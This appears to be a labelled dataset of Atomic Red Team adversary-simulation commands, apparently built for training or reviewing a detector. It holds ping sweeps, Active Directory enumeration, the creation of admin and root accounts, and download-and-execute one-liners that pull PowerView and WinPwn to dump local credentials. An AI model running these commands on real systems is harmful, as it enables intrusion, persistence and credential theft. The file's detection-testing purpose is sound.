5043815f07affb45eafd6ae4,"for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip; [ $? -eq 0 ] && echo ""#{subnet}.$ip UP"" || : ; done","for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip; [ $? -eq 0 ] && echo ""#{subnet}.$ip UP"" || : ; done",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Remote System Discovery - sweep,T1018,"[""T1018""]","linux,macos",0.9,False,"Identify remote systems via ping sweep.

Upon successful execution, sh will perform a ping sweep on the 192.168.1.1/24 and echo via stdout if an IP is active.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f89337021a1a53fa260df7ed,"$localip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1] $pieces = $localip.split(""."") $firstOctet = $pieces[0] $secondOctet = $pieces[1] $thirdOctet = $pieces[2] foreach ($ip in 1..255 | % { ""$firstOctet.$secondOctet.$thirdOctet.$_"" } ) {cmd.exe /c nslookup $ip}","$localip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1] $pieces = $localip.split(""."") $firstOctet = $pieces[0] $secondOctet = $pieces[1] $thirdOctet = $pieces[2] foreach ($ip in 1..255 | % { ""$firstOctet.$secondOctet.$thirdOctet.$_"" } ) {cmd.exe /c nslookup $ip}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Remote System Discovery - nslookup,T1018,"[""T1018""]",windows,0.9,False,"Powershell script that runs nslookup on cmd.exe against the local /24 network of the first network adaptor listed in ipconfig.

Upon successful execution, powershell will identify the ip range (via ipconfig) and perform a for loop and execute nslookup against that IP range. Output will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6db3b90d8851926d828c759e,"""#{venv_path}\Scripts\adidnsdump"" -u #{user_name} -p #{acct_pass} --print-zones #{host_name}","""#{venv_path}\Scripts\adidnsdump"" -u #{user_name} -p #{acct_pass} --print-zones #{host_name}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Remote System Discovery - adidnsdump,T1018,"[""T1018""]",windows,0.9,False,"This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks
Python 3 and adidnsdump must be installed, use the get_prereq_command's to meet the prerequisites for this test.
Successful execution of this test will list dns zones in the terminal.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e0b62e89ea37aeaff7a034ec,"""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" -f (objectcategory=computer) #{optional_args}","""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" -f (objectcategory=computer) #{optional_args}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Adfind - Enumerate Active Directory Computer Objects,T1018,"[""T1018""]",windows,0.9,False,"Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Computer Objects
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c0e6f3372c4ca47b0b49d5be,"""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" #{optional_args} -sc dclist","""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" #{optional_args} -sc dclist",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Adfind - Enumerate Active Directory Domain Controller Objects,T1018,"[""T1018""]",windows,0.9,False,"Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Domain Controller Objects
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
80a12650d4652d7930feb36a,ip neighbour show,ip neighbour show,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Remote System Discovery - ip neighbour,T1018,"[""T1018""]",linux,0.9,False,"Use the ip neighbour command to display the known link layer (ARP table) addresses for hosts sharing the same network segment. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bdeb60fbe146913086f93800,ip route show,ip route show,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Remote System Discovery - ip route,T1018,"[""T1018""]",linux,0.9,False,"Use the ip route command to display the kernels routing tables. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3614524f85963cf8db7729fc,netstat -r | grep default,netstat -r | grep default,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Remote System Discovery - netstat,T1018,"[""T1018""]",linux,0.9,False,"Use the netstat command to display the kernels routing tables.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
01621249d65a0538667ac9a8,"ip tcp_metrics show |grep --invert-match ""^127\.""","ip tcp_metrics show |grep --invert-match ""^127\.""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Remote System Discovery - ip tcp_metrics,T1018,"[""T1018""]",linux,0.9,False,"Use the ip tcp_metrics command to display the recent cached entries for IPv4 and IPv6 source and destination addresses. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5aeb0e7ef42c796156a2b331,"$DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher(""(ObjectCategory=Computer)"") $DirectorySearcher.PropertiesToLoad.Add(""Name"") $Computers = $DirectorySearcher.findall() foreach ($Computer in $Computers) { $Computer = $Computer.Properties.name if (!$Computer) { Continue } Write-Host $Computer}","$DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher(""(ObjectCategory=Computer)"") $DirectorySearcher.PropertiesToLoad.Add(""Name"") $Computers = $DirectorySearcher.findall() foreach ($Computer in $Computers) { $Computer = $Computer.Properties.name if (!$Computer) { Continue } Write-Host $Computer}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Enumerate domain computers within Active Directory using DirectorySearcher,T1018,"[""T1018""]",windows,0.9,False,"This test is a Powershell script that enumerates Active Directory to determine computers that are joined to the domain. 
This test is designed to mimic how SessionGopher can determine the additional systems within a domain, which has been used before by threat actors to aid in lateral movement. 
Reference: [Head Fake: Tackling Disruptive Ransomware Attacks](https://www.mandiant.com/resources/head-fake-tackling-disruptive-ransomware-attacks). 
Upon successful execution, this test will output the ",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
538254925e67f75b66566e9f,Get-AdComputer -Filter *,Get-AdComputer -Filter *,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Enumerate Active Directory Computers with Get-AdComputer,T1018,"[""T1018""]",windows,0.9,False,"The following Atomic test will utilize Get-AdComputer to enumerate Computers within Active Directory.
Upon successful execution a listing of Computers will output with their paths in AD.
Reference: https://github.com/MicrosoftDocs/windows-powershell-docs/blob/main/docset/winserver2022-ps/activedirectory/Get-ADComputer.md
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0b90cf7f89f57c8e8a37f3c4,"([adsisearcher]""objectcategory=computer"").FindAll(); ([adsisearcher]""objectcategory=computer"").FindOne()","([adsisearcher]""objectcategory=computer"").FindAll(); ([adsisearcher]""objectcategory=computer"").FindOne()",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Enumerate Active Directory Computers with ADSISearcher,T1018,"[""T1018""]",windows,0.9,False,"The following Atomic test will utilize ADSISearcher to enumerate computers within Active Directory.
Upon successful execution a listing of computers will output with their paths in AD.
Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
47809442622bd3d42c2c8753,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Get-DomainController with PowerView,T1018,"[""T1018""]",windows,0.9,False,"Utilizing PowerView, run Get-DomainController to identify the Domain Controller. Upon execution, information about the domain controller within the domain will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9b48476c387142b28a47a89f,try { get-wmiobject -class ds_computer -namespace root\directory\ldap -ErrorAction Stop } catch { $_; exit $_.Exception.HResult },try { get-wmiobject -class ds_computer -namespace root\directory\ldap -ErrorAction Stop } catch { $_; exit $_.Exception.HResult },bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Get-WmiObject to Enumerate Domain Controllers,T1018,"[""T1018""]",windows,0.9,False,"The following Atomic test will utilize get-wmiobject to enumerate Active Directory for Domain Controllers.
Upon successful execution a listing of Systems from AD will output with their paths.
Reference: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0b40b365e1a28c535b6a35ab,"net group /domain ""Domain controllers""","net group /domain ""Domain controllers""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Remote System Discovery - net group Domain Controller,T1018,"[""T1018""]",windows,0.9,False,"Identify remote systems with net.exe querying the Active Directory Domain Controller.
Upon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the ""Domain Controller"" in the domain. Output will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
91b87b12ceec105edf877c23,"cmd /c '#{netscan_path}' /hide /auto:""$env:temp\T1018NetscanOutput.txt"" /range:'#{range_to_scan}'","cmd /c '#{netscan_path}' /hide /auto:""$env:temp\T1018NetscanOutput.txt"" /range:'#{range_to_scan}'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Enumerate Remote Hosts with Netscan,T1018,"[""T1018""]",windows,0.9,False,This test uses Netscan to identify remote hosts in a specified network range.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bbf324cf90dc9459de20d4aa,"remove-item ""$env:temp\T1018NetscanOutput.txt"" -force -erroraction silentlycontinue","remove-item ""$env:temp\T1018NetscanOutput.txt"" -force -erroraction silentlycontinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1018/T1018.yaml,Enumerate Remote Hosts with Netscan,T1018,"[""T1018""]",windows,0.55,True,This test uses Netscan to identify remote hosts in a specified network range.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7ec915889b3665ae96684b13,cmdkey /list,cmdkey /list,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.005/T1003.005.yaml,Cached Credential Dump via Cmdkey,T1003.005,"[""T1003.005""]",windows,0.9,False,"List credentials currently stored on the host via the built-in Windows utility cmdkey.exe
Credentials listed with Cmdkey only pertain to the current user
Passwords will not be displayed once they are stored
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey
https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0872b673781c80c111d7dc0c,"Start-Process -FilePath ""#{autohotkey_path}"" -ArgumentList ""#{script_path}""","Start-Process -FilePath ""#{autohotkey_path}"" -ArgumentList ""#{script_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.010/T1059.010.yaml,AutoHotKey script execution,T1059.010,"[""T1059.010""]",windows,0.9,False,"An adversary may attempt to execute malicious script using AutoHotKey software instead of regular terminal like powershell or cmd. A messagebox will be displayed and calculator will popup when the script is executed successfully
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f4e69da0307cbbdf71733ef6,net user art-test /add net user art-test #{password} net localgroup administrators art-test /add,net user art-test /add net user art-test #{password} net localgroup administrators art-test /add,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Create local account with admin privileges,T1078.003,"[""T1078.003""]",windows,0.9,False,After execution the new account will be active and added to the Administrators group,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
82a55241ca86aab9c4ea5b7b,net localgroup administrators art-test /delete >nul 2>&1 net user art-test /delete >nul 2>&1,net localgroup administrators art-test /delete >nul 2>&1 net user art-test /delete >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Create local account with admin privileges,T1078.003,"[""T1078.003""]",windows,0.55,True,After execution the new account will be active and added to the Administrators group,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c27665b0187222b845a4b6fb,"dscl . -create /Users/AtomicUser dscl . -create /Users/AtomicUser UserShell /bin/bash dscl . -create /Users/AtomicUser RealName ""Atomic User"" dscl . -create /Users/AtomicUser UniqueID 503 dscl . -create /Users/AtomicUser PrimaryGroupID 503 dscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser dscl . -passwd /Users/AtomicUser mySecretPassword dscl . -append /Groups/admin GroupMembership AtomicUser","dscl . -create /Users/AtomicUser dscl . -create /Users/AtomicUser UserShell /bin/bash dscl . -create /Users/AtomicUser RealName ""Atomic User"" dscl . -create /Users/AtomicUser UniqueID 503 dscl . -create /Users/AtomicUser PrimaryGroupID 503 dscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser dscl . -passwd /Users/AtomicUser mySecretPassword dscl . -append /Groups/admin GroupMembership AtomicUser",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Create local account with admin privileges - MacOS,T1078.003,"[""T1078.003""]",macos,0.9,False,After execution the new account will be active and added to the Administrators group,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aad5cb8935c73c64df058331,sudo dscl . -delete /Users/AtomicUser,sudo dscl . -delete /Users/AtomicUser,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Create local account with admin privileges - MacOS,T1078.003,"[""T1078.003""]",macos,0.55,True,After execution the new account will be active and added to the Administrators group,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b00d32b5c292ccc5541faa79,sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin,sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Create local account with admin privileges using sysadminctl utility - MacOS,T1078.003,"[""T1078.003""]",macos,0.9,False,After execution the new account will be active and added to the Administrators group,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e6e21f3a5c660941ab1edbb4,sysadminctl interactive -deleteUser art-tester,sysadminctl interactive -deleteUser art-tester,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Create local account with admin privileges using sysadminctl utility - MacOS,T1078.003,"[""T1078.003""]",macos,0.55,True,After execution the new account will be active and added to the Administrators group,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
416c4a84b4be9725e8ac49d9,dsenableroot #current user dsenableroot -u art-tester -p art-tester -r art-root #new user,dsenableroot #current user dsenableroot -u art-tester -p art-tester -r art-root #new user,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Enable root account using dsenableroot utility - MacOS,T1078.003,"[""T1078.003""]",macos,0.9,False,After execution the current/new user will have root access,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a1e19d2d013e03ed1515bed4,dsenableroot -d #current user dsenableroot -d -u art-tester -p art-tester #new user,dsenableroot -d #current user dsenableroot -d -u art-tester -p art-tester #new user,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Enable root account using dsenableroot utility - MacOS,T1078.003,"[""T1078.003""]",macos,0.55,True,After execution the current/new user will have root access,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
06c91f2aaa3bac72eeae6778,dseditgroup -o edit -a art-user -t user admin,dseditgroup -o edit -a art-user -t user admin,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Add a new/existing user to the admin group using dseditgroup utility - macOS,T1078.003,"[""T1078.003""]",macos,0.9,False,After execution the current/new user will be added to the Admin group,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a7027dc599232c0e2a2b5716,dseditgroup -o edit -d art-user -t user admin,dseditgroup -o edit -d art-user -t user admin,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Add a new/existing user to the admin group using dseditgroup utility - macOS,T1078.003,"[""T1078.003""]",macos,0.55,True,After execution the current/new user will be added to the Admin group,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a272abb9f97cef7c090d6e80,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') obfuskittiedump -consoleoutput -noninteractive,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') obfuskittiedump -consoleoutput -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,WinPwn - Loot local Credentials - powerhell kittie,T1078.003,"[""T1078.003""]",windows,0.9,False,Loot local Credentials - powerhell kittie technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a413166433461cf96ed94083,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') safedump -consoleoutput -noninteractive,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') safedump -consoleoutput -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,WinPwn - Loot local Credentials - Safetykatz,T1078.003,"[""T1078.003""]",windows,0.9,False,Loot local Credentials - Safetykatz technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0e3124dcf35f29c6d2723d20,"password=$(openssl passwd -1 art) ([ ""$(uname)"" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0)) su art -c ""whoami; exit""","password=$(openssl passwd -1 art) ([ ""$(uname)"" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0)) su art -c ""whoami; exit""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Create local account (Linux),T1078.003,"[""T1078.003""]",linux,0.9,False,"An adversary may wish to create an account with admin privileges to work with. In this test we create a ""art"" user with the password art, switch to art, execute whoami, exit and delete the art user.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
845d01be9d51916de4894a8b,"[ ""$(uname)"" = 'Linux' ] && userdel art -rf || rmuser -y art","[ ""$(uname)"" = 'Linux' ] && userdel art -rf || rmuser -y art",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Create local account (Linux),T1078.003,"[""T1078.003""]",linux,0.55,True,"An adversary may wish to create an account with admin privileges to work with. In this test we create a ""art"" user with the password art, switch to art, execute whoami, exit and delete the art user.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
323ae26e60ba8ea61faeac0a,"useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art usermod --lock art usermod --expiredate ""1"" art usermod --unlock art usermod --expiredate ""99999"" art su -c whoami art","useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art usermod --lock art usermod --expiredate ""1"" art usermod --unlock art usermod --expiredate ""99999"" art su -c whoami art",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Reactivate a locked/expired account (Linux),T1078.003,"[""T1078.003""]",linux,0.9,False,"A system administrator may have locked and expired a user account rather than deleting it. ""the user is coming back, at some stage"" An adversary may reactivate a inactive account in an attempt to appear legitimate. 

In this test we create a ""art"" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d78816d961723ccf4fe1482d,userdel -r art,userdel -r art,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Reactivate a locked/expired account (Linux),T1078.003,"[""T1078.003""]",linux,0.55,True,"A system administrator may have locked and expired a user account rather than deleting it. ""the user is coming back, at some stage"" An adversary may reactivate a inactive account in an attempt to appear legitimate. 

In this test we create a ""art"" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9df9ecc28202fb03c2d1f6c8,pw useradd art -g wheel -s /bin/sh echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0 pw lock art pw usermod art -e +1d pw unlock art pw user mod art -e +99d su art whoami exit,pw useradd art -g wheel -s /bin/sh echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0 pw lock art pw usermod art -e +1d pw unlock art pw user mod art -e +99d su art whoami exit,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Reactivate a locked/expired account (FreeBSD),T1078.003,"[""T1078.003""]",linux,0.9,False,"A system administrator may have locked and expired a user account rather than deleting it. ""the user is coming back, at some stage"" An adversary may reactivate a inactive account in an attempt to appear legitimate. 

In this test we create a ""art"" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8320ac5cb7a3ffa327d4a56b,rmuser -y art,rmuser -y art,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Reactivate a locked/expired account (FreeBSD),T1078.003,"[""T1078.003""]",linux,0.55,True,"A system administrator may have locked and expired a user account rather than deleting it. ""the user is coming back, at some stage"" An adversary may reactivate a inactive account in an attempt to appear legitimate. 

In this test we create a ""art"" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
13cd719dd2534973cd54ad9a,"cat /etc/passwd |grep nobody chsh --shell /bin/bash nobody usermod --password $(openssl passwd -1 nobody) nobody su -c ""whoami"" nobody","cat /etc/passwd |grep nobody chsh --shell /bin/bash nobody usermod --password $(openssl passwd -1 nobody) nobody su -c ""whoami"" nobody",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Login as nobody (Linux),T1078.003,"[""T1078.003""]",linux,0.9,False,"An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin. Here is how the nobody entry should look like in `/etc/passwd` before the test is executed and right after the cleanup: `# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin`
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9c036513f8b1483825d4a879,chsh --shell /usr/sbin/nologin nobody cat /etc/passwd |grep nobody # -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin,chsh --shell /usr/sbin/nologin nobody cat /etc/passwd |grep nobody # -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Login as nobody (Linux),T1078.003,"[""T1078.003""]",linux,0.55,True,"An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin. Here is how the nobody entry should look like in `/etc/passwd` before the test is executed and right after the cleanup: `# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin`
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9b96da9d89a5f488f779f444,cat /etc/passwd |grep nobody pw usermod nobody -s /bin/sh echo $(openssl passwd -1 art) | pw mod user nobody -h 0 su nobody whoami exit,cat /etc/passwd |grep nobody pw usermod nobody -s /bin/sh echo $(openssl passwd -1 art) | pw mod user nobody -h 0 su nobody whoami exit,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Login as nobody (freebsd),T1078.003,"[""T1078.003""]",linux,0.9,False,"An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin. Here is how the nobody entry should look like in `/etc/passwd` before the test is executed and right after the cleanup: `# -> nobody:x:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin`
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
14996b48762e775c1ab66cc1,pw usermod nobody -s /usr/sbin/nologin cat /etc/passwd |grep nobody # -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin,pw usermod nobody -s /usr/sbin/nologin cat /etc/passwd |grep nobody # -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Login as nobody (freebsd),T1078.003,"[""T1078.003""]",linux,0.55,True,"An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin. Here is how the nobody entry should look like in `/etc/passwd` before the test is executed and right after the cleanup: `# -> nobody:x:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin`
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
badb563e9f3fcafc4da89275,"""PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"" -accepteula -s %COMSPEC% /c whoami","""PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"" -accepteula -s %COMSPEC% /c whoami",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.003/T1078.003.yaml,Use PsExec to elevate to NT Authority\SYSTEM account,T1078.003,"[""T1078.003""]",windows,0.9,False,"PsExec is a powerful tool most known for its remote management capability. However, it can also be used to run processes as the local system account.

The local system account is a default windows account which has unrestricted access to all system resources.

Upon successful execution, PsExec.exe will spawn a command prompt which will run 'whoami' as the local system account and then exit.    
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8e0a2aed11cfe434437a8c9c,"Start-Process ""#{file_path}\Sysinternals\accesschk.exe"" -ArgumentList ""-accepteula .""","Start-Process ""#{file_path}\Sysinternals\accesschk.exe"" -ArgumentList ""-accepteula .""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Run Chrome-password Collector,T1555.003,"[""T1555.003""]",windows,0.9,False,"A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.

Successful execution will produce stdout message stating ""Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly"". Upon completion, final output will be a file modification of PathToAtomicsFolder\..\ExternalPayloads\sysinternals\passwordsdb.

Adapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/att",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
